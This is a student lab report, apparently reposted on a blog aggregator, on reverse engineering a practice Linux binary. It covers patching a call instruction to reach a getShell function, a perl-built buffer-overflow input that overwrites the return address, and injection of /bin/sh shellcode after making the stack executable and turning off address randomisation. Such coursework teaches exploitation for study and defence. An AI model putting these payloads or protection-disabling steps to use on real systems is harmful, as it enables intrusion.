博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Exp1 PC平台逆向破解 20154324刘康权
阅读量:4984 次
发布时间:2019-06-12

本文共 3950 字,大约阅读时间需要 13 分钟。

一、实践目标

本次实践的对象是一个名为20154324的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

二、实践内容

1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

3.注入一个shellcode并运行这段shellcode。

三、实践知识

1.熟悉Linux基本操作。

  • 能看懂常用指令,如管道(|),输入、输出重定向(>)等。

2.理解Bof的原理。

  • 能看得懂汇编、机器指令、EIP、指令地址。

3.会使用gdb,vi。

4.堆栈结构,返回地址,理解攻击缓冲区的结果,掌握返回地址的获取,掌握ELF文件格式,掌握动态技术。

四、实践步骤

一、直接修改程序机器指令,改变程序执行流程

1、下载目标文件pwn1,并讲它拷贝到文件20154324,进行反汇编。并找到getshell函数、foo函数和main函数。

1344859-20180315202722787-1091095415.png

1344859-20180315203541594-1724365441.png
1344859-20180315205241919-273126499.png

由图中可见,main函数中在80484b5地址的''call 8048491''这条指令,会调用地址为8048491的foo函数,而其对应机器指令为“e8 d7ffffff”,根据foo函数中的指令猜测,e8为''call''指令,即跳转指令。按照正常流程,会执行main函数中的下一步,即80484ba地址的指令,此时EIP的值为80484ba,但此时执行call指令,会跳转到8048491,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值。

那我们想让它调用getShell,只要修改 d7ffffff 为 getShell-80484ba 对应的补码就行。用Windows计算器,直接 47d-4ba就能得到补码,是c3ffffff

1344859-20180315210841677-463062139.jpg

2、修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff

2.1 用vim编辑器打开文件。

vi 20154324

2.2 在 vim 编辑器中按 Esc 键,输入" :%!xxd "将原格式转换成十六进制显示,结果如下:

1344859-20180315211817255-861876575.png

2.3 输入“ /e8 d7 "找到要修改的内容,并将d7修改为c3。

1344859-20180315213403334-936327121.png

2.4转换16进制为原格式

:%!xxd -r

2.5保存退出

:wq

3、再反汇编看一下,call指令是否正确调用getShell。

objdump -d 20154324 | more

1344859-20180315213815336-692962168.png
查看后,确定正确调用getShell。

4、编译修改后的文件,会得到shell提示符,运行指令查看效果。

./20154324

1344859-20180315214023851-230288725.png

二、通过构造输入参数,造成BOF攻击,改变程序执行流

1、对文件进行反汇编,了解程序的基本功能。

1344859-20180316100956612-1075682574.png

1344859-20180316101003207-431437709.png

由图中可看出,main主函数会调用foo函数,我们将实现main主函数调用getshell函数,并得到getshell函数的地址为“0804847d”。

2、接下来确认缓冲区大小,溢出的部分将会覆盖到返回地址,cpu会尝试执行该部分代码,我们只需要调试出输入多少字符会溢出以及溢出字符的输入输出顺序,即输入字符串后吗,哪几个字符会覆盖到返回地址。把该溢出部分的数字对应上getshell的地址,cpu就会执行getshell。通过gdb进行调试,确认多少字符之后能覆盖以及覆盖到什么位置。

1344859-20180316101705956-1682795089.jpg

我们输入1111111122222222333333334444444412345678进行尝试。

1344859-20180316103141706-1327258875.png

可以由图中看出,1234为溢出字符,且存储为倒序。

3、倒序输入getshell的内存地址即“11111111222222223333333344444444\x7d\x84\x04\x08”,其中“\x0a”表示回车

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

并用16进制查看指令xxd,查看input文件的内容是否如预期。
xxd input
1344859-20180316104154181-952507677.png

4、将input的输入,通过管道符“|”,作为20154324的输入,并查看是否达到效果。

1344859-20180317212213029-74540336.png

三、注入Shellcode并执行

1、准备一段Shellcode

shellcode就是一段机器指令,我们这里使用的shellcode是文章“Shellcode”入门中生成的shellcode。

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

2、准备工作,修改设置

  • 安装execstack软件apt-get install execstack
  • 设置堆栈可执行execstack -s 20154324
  • 查询文件的堆栈是否可执行.execstack -q 20154324
  • 检测地址随机化状态more /proc/sys/kernel/randomize_va_space
  • 关闭地址随机化echo "0" > /proc/sys/kernel/randomize_va_space
  • 检测地址随机化状态more /proc/sys/kernel/randomize_va_space
    1344859-20180316110540672-113640027.png
    如图所示,已完成设置,X表示文件的堆栈可执行,0表示地址随机化。

3、注入shellcode

Linux下有两种基本构造攻击buf的方法:retaddr+nop+shellcode和nop+shellcode+retaddr。缓冲区小就用前一种方法,缓冲区大就用后一种方法。这里,我们这个buf够放这个shellcode了,我们选用前一种方法。

3.1和之前一样,我们把输入的字串放入input_shellcode文件里

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

其中,最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。

注意:最后一个字符不能是\x0a,即回车!

3.2打开一个终端注入这段语句

(cat input_shellcode;cat) | ./20154324

1344859-20180316155439426-1623664556.png
特别注意:只需要按一次回车就行了!

3.3打开另一个终端进行调试

1.查看进程号为:4556

ps -ef | grep 20154324

2.启动gdb进行调试

-gdb
-attach 4556
1344859-20180316155936851-344864312.png

3.4在gdb模式下设置断点,来查看注入buf的内存地址。

disassemble foo

1344859-20180316161252983-1768204397.png

可以看到,会断在080484ae,ret完,就跳到我们覆盖的retaddr的位置了。

3.5设置断点后回到另一个终端,按一下回车后再回到该终端进行调试。

-break *0x080484ae

-c
1344859-20180316161347315-1252751588.png

3.6先找到ESP的地址,再根据ESP的地址找到shellcode的地址。

x/16x 0xffffd3bc

1344859-20180316162158439-461666318.png
如图,找到了shellcode的起始位置90909090,以及1234所在的位置,\x1\x2\x3\x4应该紧挨着shellcode,所以shellcode的位置应该是0xffffd3c0

3.7退出gdb模式后,将shellcode写进去

perl -e 'print "A" x 32;print "\xc0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

(cat input_shellcode;cat) | ./20154324

1344859-20180316163144420-1326433025.png

如图所示,注入攻击成功。

五、心得体会

在这次实践中,我们通过三种方法改变了执行文件的执行流程,三种方法,对应着三种不同的攻击思路,分别是:

  1. 运行原本不会运行的原文件中的片段。
  2. 强行修改文件的执行流程。
  3. 注入自己想要注入的代码并使之运行。

这次的实践,让我感受到网络攻防技术的重要性,即使这次的攻击有一些前提,需要系统存在一些漏洞。而在我看来,漏洞,在大多数电脑中是存在的,也许是操作系统的漏洞,也许是某个软件的漏洞,而这些漏洞,就是电脑安全保卫线中的一个个缺口,也许这些缺口都不大,但是威力却是不容小视的,一旦被攻破,也许自己的电脑就会被别人监控,甚至控制。在之后的课堂上,一定要认真听讲,也一定要多做实践,这样才能学好网络对抗,才能保护好自己的电脑。

转载于:https://www.cnblogs.com/liukangquan/p/8583392.html

你可能感兴趣的文章
关于string类中find函数的讲解
查看>>
程序员的情书
查看>>
Spring Cloud Eureka 使用 IP 地址进行服务注册
查看>>
Python 包的制作(__init__.py)
查看>>
java内存模型优化建议
查看>>
三十、模块补充
查看>>
流程审批设计
查看>>
别装了,你根本就不想变成更好的人
查看>>
数据库 join
查看>>
AES加密工具类[亲测可用]
查看>>
方法区
查看>>
Django-----ORM
查看>>
ARCGIS部分刷新
查看>>
发 零 食
查看>>
poj3613:Cow Relays(倍增优化+矩阵乘法floyd+快速幂)
查看>>
洛谷P1886 滑动窗口
查看>>
Shell编程(二)Bash中调用Python
查看>>
主动与被动监控 拓扑图组合图 自定义监控
查看>>
SQL总结(一)基本查询
查看>>
PDF分割--可脱离python环境执行,可传参数,可弹窗的PC端小工具
查看>>